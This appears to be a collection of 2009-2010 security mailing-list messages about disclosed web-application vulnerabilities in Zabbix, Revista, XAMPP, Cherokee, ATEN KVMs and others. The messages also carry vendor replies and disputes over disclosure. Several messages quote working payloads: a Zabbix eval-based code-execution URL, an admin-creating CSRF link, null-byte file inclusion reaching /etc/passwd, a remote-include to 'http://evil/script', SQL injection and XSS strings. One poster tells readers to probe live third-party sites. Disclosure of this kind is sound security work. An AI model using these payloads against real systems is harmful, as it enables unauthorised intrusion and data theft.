if(ereg(^[A-Za-z0-9_]+$, $_REQUEST[srclang]) && ($_REQUEST[extlang] != new))
-----
This was fixed in revision 6886 of branches/1.6.

> IV. DETECTION
> 
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
> 
> V. WORKAROUND
> 
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.

Be sure to update to the r6886 or later, otherwise LFI will still
be possible.
-- 
Eygene


From: marianiscc@hotmail.com
Sent: Mon 13. Apr 2009 14:49
Discovered by Sirdarckcat from elhacker.net

------------------------------------------------------------------------
------------

Revista 1.1.2

http://php-revista.sourceforge.org

------------------------------------------------------------------------
------------

Revista is a simple spanish PHP magazine editor.

It was done by php.org.mx

It suffers of multiple vulnerabilities.

------------------------------------------------------------------------
------------

Remote File Inclusion

http://revista/estilo/[ANY STYLE]/index.php?adodb=http://evil/script

------------------------------------------------------------------------
------------

SQLi

http://revista/estilo/[ANY STYLE]/busqueda_tema.php?id_temas=-1+[SQL]

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=+[SQL]

http://revista/estilo/[ANY STYLE]/autor.php?id_autor=-1+[SQL]

http://revista/estilo/[ANY STYLE]/lista.php?email=+[SQL]

http://revista/estilo/[ANY STYLE]/articulo.php?id_articulo=-1+[SQL]

------------------------------------------------------------------------
------------

Credentials Bypass

http://revista/admin/index.php?ID_ADMIN=1&SUPER_ADMIN=1

------------------------------------------------------------------------
------------

XSS

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=<XSS>

http://revista/estilo/[ANY STYLE]/lista.php?email=<XSS>

------------------------------------------------------------------------
------------

Att.

Sirdarckcat


From: David Cantrell d.cantrell@outcometechnologies.com
Sent: Wed 13. May 2009 11:10
ascii wrote:

> FormMail 1.92 Multiple Vulnerabilities  ...

The authors own webpage about formmail mentions the NMS project at the 
bottom of the page, about which he says:

" While the free code found at my web site has not evolved much in
   recent years, the general programming practices and standards of CGI
   programs have. nms is an attempt by very active programmers in the
   Perl community to bring the *quality of code for these types of
   programs up to date and eliminate some of the bad programming
   practices and bugs* found in the existing Matts Script Archive code.

" I would highly recommend downloading the nms versions if you wish to
   learn CGI programming. The code you find at Matts Script Archive is
   not representative of how even I would code these days. *My interests
   and activies have moved on, however, and I just have not found the
   time to update all of my scripts*. One of the major reasons for this
   is that they work for many people. For this reason, I will continue to
   provide them to the public, but am also *pleased to make you aware of
   well-coded alternatives*. "

(my emphasis)

which to me looks like hes already addressed the issue by recommending 
that you use NMS formmail if you care about the quality of the code and 
any bugs.

-- 
David Cantrell
Outcome Technologies Ltd
BUPA House, 15-19 Bloomsbury Way, London WC1A 2BA
Registered in England, No: 3829851


From: ascii ascii@katamail.com
Sent: Wed 13. May 2009 13:05
David Cantrell wrote:
> which to me looks like hes already addressed the issue by recommending
> that you use NMS formmail if you care about the quality of the code and
> any bugs.

Dear David,

telling people to use a different software doesnt automatically fix
issues.

As we tested FormMail and want to warn people who deployed FormMail and
will deploy FormMail we posted an advisory for FormMail. Hope this open
your mind.

Bye,
ascii
ush.it


From: TK147@TheArchitect.com
Sent: Thu 28. May 2009 10:19
Well MaXe,

Thats very clever of you.  The "vendor" is rolling out a patch and new version to address the issues you have raised.  Not sure why you beleive this software, developed with untold manhours and effort, and then offered for a very modest fee, should be released without appropriate pirating protections.  ..and why you woouldnt warn them and subsequently countless innocents of the issue.  Isnt this what your site is about?

But thanks for raising the issue.

YouAllLookAlikeToMe


From: security@intern0t.net
Sent: Thu 28. May 2009 15:27
InterN0T is about Hacking. (if you have seen the introduction)

To me, Hacking is primarily about learning how and why things works as they do and if they can be changed (improved or abused in this case) and of course, sharing what you find out so the community can benefit from it! 

Afterwards, the developers can learn to code more secure (if you find a vulnerability). However, as we all might know: Security is a human factor and will always be a problem.

If i would contact the vendor as the first thing each time, how would people be able to learn from my research if its not even possible to get an earlier version where the vulnerability is included in?

Consider the alternatives (where i dont contact the vendor):
- Sell the vulnerability and know people will exploit people in the dark.
- Keep it to myself and exploit people.
- Share it among a little group of people and let them play/exploit with it.

Taking that into consideration makes public disclosure sound like a good option to me. :-)


All of the best,
MaXe

PS: Yes, i know people will exploit the issue / vulnerability in the public disclosure method, but in this case the dealer actually has a chance of fixing it and usually they will fix it faster because its a lot more urgent. 

It might stress them, but if they just made sure all function calls and user input (forms) were validated properly then i wouldnt have been able to find these holes in the first place ;-)


From: security curmudgeon jericho@attrition.org
Sent: Mon 20. Jul 2009 07:02
On Mon, 13 Apr 2009, marianiscc@hotmail.com wrote:

: Discovered by Sirdarckcat from elhacker.net

By discovered, you mean copied from the disclosure in September 2006 
right?

CVE-2006-4605 through CVE-2006-4608.



From: bill.carovano@citrix.com
Sent: Wed 29. Jul 2009 14:09
It should be noted that Citrix does not offer a feature or product called "XenCenterWeb."  At one time, this tool was included in the informal XenServer Resource Kit, to serve as an example of how to utilize the XenServer SDK and provide web-based consoles for specific types of administrators (where customers had such a need).  It was never a supported product or feature, and is in fact no longer available.

Bill Carovano
Sr. Director, Technical Product Marketing
Citrix Systems, Inc.


From: starchang@aten.com.tw
Sent: Wed 12. Aug 2009 10:34
This is Technical Support Team from ATEN.

Firstly, we appreciate all suggestions from Germany TUB LAB. Undoubtedly, guaranteeing our KVM products with robust security mechanism is our responsibility.

After discussing with Germany TUB LAB, we believe all security issues could be fixed by new Firmware version as below. 

- KH1508i/KH1516i v1.0.068 
- KN9108/KN9116 v1.1.109 
- PN9108 v1.8.179 

Scheduled Release Date is around Aug. 17, 2009 

Please visit our ATEN official site later.
http://www.aten.com/download/download.php

As for SSL Certificate, SSL Certificate import function has built into our KVM above with new firmware. We strongly suggest our KVM users to import their individual Certificate for advanced security concern. We will tell our KVM users how to generate their own Certificate by openssl tool in our product manual later.

Thanks,
ATEN SUPPORT


From: Glenn Rossi dragon@midatlanticbb.com
Sent: Mon 17. Aug 2009 11:56
I emailed you last week but did not receive a response.

What about units like the CN5000 that do not appear anywhere on your 
website?  We have two of these and are very concerned about the below-
referenced vulnerability.

Will a firmware upgrade for these units be forthcoming as well, or do 
we now own hundreds of dollars worth of paperweights?



> This is Technical Support Team from ATEN.
> 
> Firstly, we appreciate all suggestions from Germany TUB LAB.
> Undoubtedly, guaranteeing our KVM products with robust security
> mechanism is our responsibility. 
> 
> After discussing with Germany TUB LAB, we believe all security issues
> could be fixed by new Firmware version as below. 
> 
> - KH1508i/KH1516i v1.0.068 
> - KN9108/KN9116 v1.1.109 
> - PN9108 v1.8.179 
> 
> Scheduled Release Date is around Aug. 17, 2009 
> 
> Please visit our ATEN official site later.
> http://www.aten.com/download/download.php
> 
> As for SSL Certificate, SSL Certificate import function has built into
> our KVM above with new firmware. We strongly suggest our KVM users to
> import their individual Certificate for advanced security concern. We
> will tell our KVM users how to generate their own Certificate by
> openssl tool in our product manual later. 
> 
> Thanks,
> ATEN SUPPORT

--
Glenn Rossi
Operations/Security/Engineering
MidAtlantic BroadBand/Staffnet/Protel
------------------------------------------
voice:  (866) HELP-KIT ext 132

web:    http://www.midatlanticbb.com
email:  mailto:webmaster@midatlanticbb.com
fax:    (410) 727-8245
handle: dragon
------------------------------------------
MidAtlantic BroadBand
729 East Pratt St., Suite 440
Baltimore, MD USA 21202
------------------------------------------
Without security, freedom is not possible.
------------------------------------------




From: ign.sec@gmail.com
Sent: Wed 6. Jan 2010 09:55
One thing i forgot, a %00 must be included at the end of the LFI, IE: index.php?op=../../../../../../../etc/passwd%00 

And ?op is vulnerable to a xss attack, IE:
index.php?op=<script>alert(document.cookie)</script>

Ignacio.


From: MustLive mustlive@websecurity.com.ua
Sent: Thu 4. Feb 2010 22:01
Hello MaXe!

> Have you checked the newest aka (also known as) latest version which is
> actually: 1.7.3 ?

No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: advisories@intern0t.net
To: bugtraq@securityfocus.com ; MustLive
Sent: Monday, February 01, 2010 10:53 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hi MustLive

Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?

Link: http://www.apachefriends.org/en/xampp-windows.html


Best regards,
MaXe

On January 28, 2010 at 11:55 PM MustLive <mustlive@websecurity.com.ua>
wrote:

> Hello Bugtraq!
>
> I am continue informing you about multiple vulnerabilities in XAMPP.
>
> -----------------------------
> Advisory #7
> -----------------------------
> CSRF, SQL Injection and Full path disclosure vulnerabilities in XAMPP
> -----------------------------
> URL: http://websecurity.com.ua/3285/
> -----------------------------
> Timeline:
>
> 27.06.2009 - found the vulnerabilities.
> 01.07.2009 - announced at my site.
> 02.07.2009 - informed developers.
> 08.08.2009 - disclosed at my site.
> -----------------------------
> Details:
>
> These are Cross-Site Request Forgery, SQL Injection and Full path
> disclosure
> vulnerabilities.
>
> CSRF:
>
> http://site/xampp/cds-fpdf.php
>
> Its possible to delete or add data in test table (as via CSRF, and as via
> Insufficient Authorization vulnerabilities). And also to conduct SQL
> Injection via CSRF attacks.
>
> SQL Injection:
>
> http://site/xampp/cds-fpdf.php?action=del&id=-1%20or%201=1 (register
> globals
> on)
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=1&jahr=1),(version(),1,1
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=,1,1),(version(),1,1)/*
> (mq off)
>
> http://site/xampp/cds-fpdf.php?titel=1&interpret=,1),(version(),1,1)/*
> (mq
> off)
>
> Attack is possible during access to admin panel (via Insufficient
> Authorization), or via CSRF.
>
> Full path disclosure:
>
> http://site/xampp/external/ps/draw.php
> http://site/xampp/external/ps/hyperlinks.php
> http://site/xampp/external/ps/image.php
> http://site/xampp/external/ps/overprint.php
> http://site/xampp/external/ps/ps.php?submit=OK
> http://site/xampp/external/ps/shading.php
> http://site/xampp/external/ps/spotcolor.php
> http://site/xampp/external/ps/text.php
> http://site/xampp/special/ps/draw.php
> http://site/xampp/special/ps/hyperlinks.php
> http://site/xampp/special/ps/image.php
> http://site/xampp/special/ps/overprint.php
> http://site/xampp/special/ps/ps.php?submit=OK
> http://site/xampp/special/ps/shading.php
> http://site/xampp/special/ps/spotcolor.php
> http://site/xampp/special/ps/text.php
>
> Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
> versions (including last version XAMPP 1.7.1).
>
> -----------------------------
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua


From: MustLive mustlive@websecurity.com.ua
Sent: Sat 6. Feb 2010 23:56
Hello Sebastien!

You can confirm it by yourself. Just find a site on XAMPP (Google can help
you with it) and check the holes using PoCs which I provided.

> and what target of xampp is it ? win32 ? linux ?

As far as I remember last year when I found all these vulnerabilities in
XAMPP, it was XAMPP on Windows servers on all those sites where I found
these holes.

In 99% of cases Im researching vulnerabilities in the Web at real sites,
not at localhost (at localhost I can check for holes only in software which
I use). And I had never used XAMPP (or WAMPP or LAMPP) and I checked all
these holes at real web sites. So in all my advisories I wrote "Vulnerable
are XAMPP 1.6.8 and previous versions", because maximum version which I
found was 1.6.8. And it was quite possible that version 1.7.1 (last version
at that time) was also vulnerable, so I mentioned about it in my advisories.
And XAMPP developers didnt refute existence of vulnerabilities in 1.7.0 and
1.7.1, when I informed them, and didnt answer if they fixed the holes (so
its possible that these holes are still not fixed).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: S?bastien H?nar?s
To: MustLive
Cc: advisories@intern0t.net ; bugtraq@securityfocus.com
Sent: Friday, February 05, 2010 1:19 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hello people, can a secondary source confirm the vuln please ?
and what target of xampp is it ? win32 ? linux ?


2010/2/4 MustLive <mustlive@websecurity.com.ua>

Hello MaXe!


Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?


No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


From: lars@enomaly.com
Sent: Tue 16. Feb 2010 15:39
The reported issue DOES NOT AFFECT ANY CURRENT ENOMALY PRODUCT.  Our current products are Enomaly ECP Service Provider Edition and Enomaly ECP High Assurance Edition, and neither utilizes the "vmfeed" module.

Specifically, the "vmfeed" module has not been utilized in any version of our products released since the initial release of Enomaly ECP Service Provider Edition in June 2009.  The "vmfeed" module was utilized only in our previous-generation "Community Edition" product, which has been deprecated and withdrawn from distribution.  Enomaly ECP Service Provider Edition is a completely different product from the old Community Edition.

As a result, since the Community Edition product is deprecated and has been withdrawn, Enomaly has not investigated this reported issue.

Further information on the differences between the deprecated Community Edition technology and our current Service Provider Edition technology can be found at http://src.enomaly.com.

Lars-Erik Forsberg, VP Delivery
Enomaly Inc.


From: dan.j.rosenberg@gmail.com
Sent: Fri 5. Mar 2010 12:10
Apparently Bugtraq doesnt like attachments.  The patches are available as attachments to the archived Full-Disclosure posting, at:

http://seclists.org/fulldisclosure/2010/Mar/122


From: Andrew Morum amorum@brendata.co.uk
Sent: Thu 3. Jun 2010 15:57
Not sure, phprunner incorporates this doesnt it? 

-----Original Message-----
From: Alex Legler [mailto:a3li@gentoo.org] 
Sent: 02 June 2010 22:18
To: gentoo-announce@gentoo.org
Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk;
security-alerts@linuxsecurity.com
Subject: [ GLSA 201006-13 ] Smarty: Multiple vulnerabilities

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

Gentoo Linux Security Advisory                           GLSA 201006-13=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

                                            http://security.gentoo.org/=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


  Severity: Normal
     Title: Smarty: Multiple vulnerabilities
      Date: June 02, 2010
      Bugs: #212147, #243856, #270494
        ID: 201006-13

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


Synopsis
=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities in the Smarty template engine might allow
remote attackers to execute arbitrary PHP code.

Background
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Smarty is a template engine for PHP.

Affected packages
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

    -------------------------------------------------------------------=

     Package         /  Vulnerable  /                       Unaffected
    -------------------------------------------------------------------=

  1  dev-php/smarty      < 2.6.23                            >=3D 2.6.2=
3

Description
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities have been discovered in Smarty:

* The vendor reported that the modifier.regex_replace.php plug-in
  contains an input sanitation flaw related to the ASCII NUL character
  (CVE-2008-1066).

* The vendor reported that the _expand_quoted_text() function in
  libs/Smarty_Compiler.class.php contains an input sanitation flaw via
  multiple vectors (CVE-2008-4810, CVE-2008-4811).

* Nine:Situations:Group::bookoo reported that the
  smarty_function_math() function in libs/plugins/function.math.php
  contains input sanitation flaw (CVE-2009-1669).

Impact
=3D=3D=3D=3D=3D=3D

These issues might allow a remote attacker to execute arbitrary PHP
code.

Workaround
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

There is no known workaround at this time.

Resolution
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

All Smarty users should upgrade to an unaffected version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=3Ddev-php/smarty-2.6.23"

NOTE: This is a legacy GLSA. Updates for all affected architectures are=

available since June 2, 2009. It is likely that your system is already
no longer affected by this issue.

References
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

  [ 1 ] CVE-2008-1066
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-1066
  [ 2 ] CVE-2008-4810
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4810
  [ 3 ] CVE-2008-4811
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4811
  [ 4 ] CVE-2009-1669
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2009-1669

Availability
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-201006-13.xml

Concerns?
=3D=3D=3D=3D=3D=3D=3D=3D=3D

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.

License
=3D=3D=3D=3D=3D=3D=3D

Copyright 2010 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


The information contained in this email is intended for the personal an=
d confidential use
of the addressee only. It may also be privileged information. If you ar=
e not the intended
recipient then you are hereby notified that you have received this docu=
ment in error and
that any review, distribution or copying of this document is strictly p=
rohibited. If you have 
received  this communication in error, please notify Brendata immediate=
ly on: 

+44 (0)1268 466100, or email technical@brendata.co.uk 

Brendata (UK) Ltd
Nevendon Hall, Nevendon Road, Basildon, Essex. SS13 1BX  UK
Registered Office as above. Registered in England No. 2764339

See our current vacancies at www.brendata.co.uk


From: security curmudgeon jericho@attrition.org
Sent: Thu 1. Jul 2010 19:16
On Sat, 12 Jun 2010, info@securitylab.ir wrote:

: #################################################################  
: # Securitylab.ir  
: #################################################################  
: # Application Info:  
: # Name: Cherokee Web Server
: # Version: 0.5.3
: # Download: http://mirror.aarnet.edu.au/pub/cherokee/windows/Cherokee-setup-0.5.3.exe
: #################################################################  

: [Directory Traversal]:
: http://127.0.0.1/%5C../%5C../%5C../boot.ini%20

This is essentially CVE-2009-3902, just encoding one char.

: [Remote Source Disclosure]:
: http://127.0.0.1:80/file.html::$DATA
: 
: http://127.0.0.1/index.htm%20 

Did you try these on something other than HTML? Did it work for .php or 
.asp for example?


From: scott.switzer@openx.org
Sent: Wed 28. Jan 2009 16:34
OpenX has fixed all of the vulnerabilities, and will release new versions of v2.4 and v2.6, after the QA cycle, in the next 24-48 hours.

Scott Switzer
OpenX Community Leader


From: =?ISO-8859-1?Q?Roberto_Mu=F1oz_Fernandez?= robertomf@fujitsu.es
Sent: Fri 6. Mar 2009 00:42
Vulnerability A) confirmed in zabbix 1.4.* for example in..


http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort[%22.phpinfo().%22]=1
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
>
>  Name              Multiple Vulnerabilities in Zabbix Frontend
>  Systems Affected  Zabbix 1.6.2 and possibly earlier versions
>  Severity          High
>  Impact (CVSSv2)   High 9.7/10, vector: (AV:N/AC:L/Au:N/C:P/I:C/A:C)
>  Vendor            http://www.zabbix.com/
>  Advisory          http://www.ush.it/team/ush/hack-zabbix_162/adv.txt
>  Authors           Antonio "s4tan" Parata (s4tan AT ush DOT it)
>                    Francesco "ascii" Ongaro (ascii AT ush DOT it)
>                    Giovanni "evilaliv3" Pellerano (evilaliv3 AT
>                    digitalbullets DOT org)
>  Date              20090303
>
> I. BACKGROUND
>
> >From the Zabbix web site: "ZABBIX offers advanced monitoring, alerting
> and visualization features today which are missing in other monitoring
> systems, even some of the best commercial ones".
>
> II. DESCRIPTION
>
> Multiple Vulnerabilities exist in Zabbix front end software.
>
> III. ANALYSIS
>
> Summary:
>
>  A) Remote Code Execution
>  B) Cross Site Request Forgery
>  C) Local File Inclusion
>
> A) Remote Code Execution
>
> A Remote Code Execution issue has been found in Zabbix version
> 1.6.2 and no authentication is required in order to exploit this
> vulnerability. The Magic Quotes must be off in order to exploit
> this vulnerability, however this feature will not be supported
> starting with PHP 6.0 (ref. http://it2.php.net/magic_quotes).
>
> Zabbix has a security feature that parses all incoming input for
> possible bad chars with the help of the function check_fields() defined
> in "include/validate.inc.php". The issue we have discovered is contained
> in this input validation code.
>
> Pages define an array of every used variable that derives from external
> (GPC) input. An example of the mechanism is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> $fields=array(
>  "config"=>     array(T_ZBX_INT, O_OPT, P_SYS, IN("0,1"), NULL),
>  // actions
>  "groupid"=>    array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "hostid"=>     array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "start"=>      array(T_ZBX_INT, O_OPT, P_SYS, BETWEEN(0,65535)."({}%".
>                 PAGE_SIZE."==0)", NULL),
>  "next"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  "prev"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  // filter
>  "filter_rst"=> array(T_ZBX_INT, O_OPT, P_SYS, IN(array(0,1)), NULL),
>  "filter_set"=> array(T_ZBX_STR, O_OPT, P_SYS, null, NULL),
>  "userid"=> array(T_ZBX_INT, O_OPT, P_SYS, DB_ID, NULL),
>  filter_timesince=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  filter_timetill=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  //ajax
>  favobj=>     array(T_ZBX_STR, O_OPT, P_ACT, NULL, NULL),
>  favid=>      array(T_ZBX_STR, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj})),
>  state=>      array(T_ZBX_INT, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj}) && ("filter"=={favobj})),
> );
>
> check_fields($fields);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> After the definition of the "$fields" array all the variables are
> checked by the function check_fields().
>
> The main step of the check_fields() function is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> foreach($fields as $field => $checks){
>  $err |= check_field($fields, $field, $checks);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> Following the check_field() function we have identified that the
> functions main steps are the creation of some local variables using
> list() and a consequent call of calc_exp() (which resides in the same
> file).
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> list($type, $opt, $flags, $validation, $exception) = $checks;
> [...]
> $except=calc_exp($fields,$field,$exception);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> calc_exp()s code is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp($fields,$field,$expression){
>  if(zbx_strstr($expression,"{}") && !isset($_REQUEST[$field]))
>   return FALSE;
>
>  if(zbx_strstr($expression,"{}") && !is_array($_REQUEST[$field]))
>   $expression = str_replace("{}",$_REQUEST[".$field."],$expression);
>
>  if(zbx_strstr($expression,"{}") && is_array($_REQUEST[$field])){
>  foreach($_REQUEST[$field] as $key => $val){
>    $expression2 =
> str_replace("{}",$_REQUEST[".$field."][".$key."],$expression);
>    if(calc_exp2($fields,$field,$expression2)==FALSE)
>     return FALSE;
>   }
>   return TRUE;
>  }
>  return calc_exp2($fields,$field,$expression);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> As you can see we should be able to call calc_exp2(), our vulnerable
> function, avoiding to fall into a breach that exits (returns) from the
> function.
>
> Investigating calc_exp2()s source:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp2($fields,$field,$expression){
>  foreach($fields as $f => $checks){
>   $expression = str_replace({.$f.},$_REQUEST[".$f."],$expression);
>  }
>
>  $expression = trim($expression,"& ");
>  $exec = "return (".$expression.") ? 1 : 0;";
>
>  $ret = eval($exec);
>
>  return $ret;
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> We have reached a function that contains an eval() call of the "$exec"
> variable that contains user controlled data.
>
> To better understand how the executed string is composed we must find
> a disposable page. Thanks to "locales.php" we can reach this function
> without any authentication.
>
> Now if we try to execute the query:
>
> /locales.php?download&langTo&extlang[AAA]=1
>
> The value of $exec is the following:
>
> return (($_REQUEST["extlang"]["AAA"]!=)) ? 1 : 0;
>
> Some constraints exist: the injected payload must comply with the
> calc_exp()s requirements in order to call calc_exp2() and the created
> string must be syntactically correct. What we can do is to play with
> the key values of the array. An intermediate test was:
>
> /locales.php?download&langTo&extlang[AAA"];phpinfo();]=1
>
> But it generates a syntax error. After some thinking the problem was
> solved in this way:
>
> /locales.php?download&langTo&extlang[".phpinfo()."]=1
>
> Now the syntax is correct and the payload gets executed.
>
> B) Cross Site Request Forgery
>
> A CSRF vulnerability exists in file "users.php". If the admin visits the
> following link:
>
> /users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3&
> lang=lang&theme=theme&autologout=0&url=url&refresh=0
>
> A user with admin permissions is created.
>
> C) Local File Inclusion
>
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
>
> The following URL exploits this vulnerability:
>
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
>
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
>
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
>
> Nullbyte injection normally requires magic quotes off.
>
> The vulnerable code is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> IV. DETECTION
>
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
>
> V. WORKAROUND
>
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.
>
> VI. VENDOR RESPONSE
>
> Vendor will fix all the exposed vulnerabilities in Zabbix 1.6.3.
>
> VII. CVE INFORMATION
>
> No CVE at this time.
>
> VIII. DISCLOSURE TIMELINE
>
> 20081215 Bug discovered
> 20090116 Initial vendor contact
> 20090116 Vendor Response (Fixes will be included in Zabbix 1.6.3)
> 20090130 Second email (When this is going to be fixed?)
> 20090131 Vendor Response (Everything has been fixed a week ago and is
>          publicy aviable in the SVN, Zabbix 1.6.3 will be released
>          within 10-15 days)
> 20090220 Third email (20 days elasped and no response, we will release
>          on 23 Feb)
> 20090220 Vendor Response (Postpone of 5-10 days required)
> 20090220 Third email (We will wait 5-10 days, 2 March is the deadline
>          if no contact)
> 20090303 Forced Advisory Release
>
> IX. CREDIT
>
> Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni
> "evilaliv3" Pellerano are credited with the discovery of this
> vulnerability.
>
> Antonio "s4tan" Parata
> web site: http://www.ictsc.it/
> mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it
>
> Francesco "ascii" Ongaro
> web site: http://www.ush.it/
> mail: ascii AT ush DOT it
>
> Giovanni "evilaliv3" Pellerano
> web site: http://www.evilaliv3.org
> mail: giovanni.pellerano AT evilaliv3 DOT org
>
> X. LEGAL NOTICES
>
> Copyright (c) 2009 Francesco "ascii" Ongaro
>
> Permission is granted for the redistribution of this alert
> electronically. It may not be edited in any way without mine express
> written consent. If you wish to reprint the whole or any
> part of this alert in any other medium other than electronically,
> please email me for permission.
>
> Disclaimer: The information in the advisory is believed to be accurate
> at the time of publishing based on currently available information. Use
> of the information constitutes acceptance for use in an AS IS condition.
> There are no warranties with regard to this information. Neither the
> author nor the publisher accepts any liability for any direct, indirect,
> or consequential loss or damage arising from use of, or reliance on,
> this information.
>
> _______________________________________________
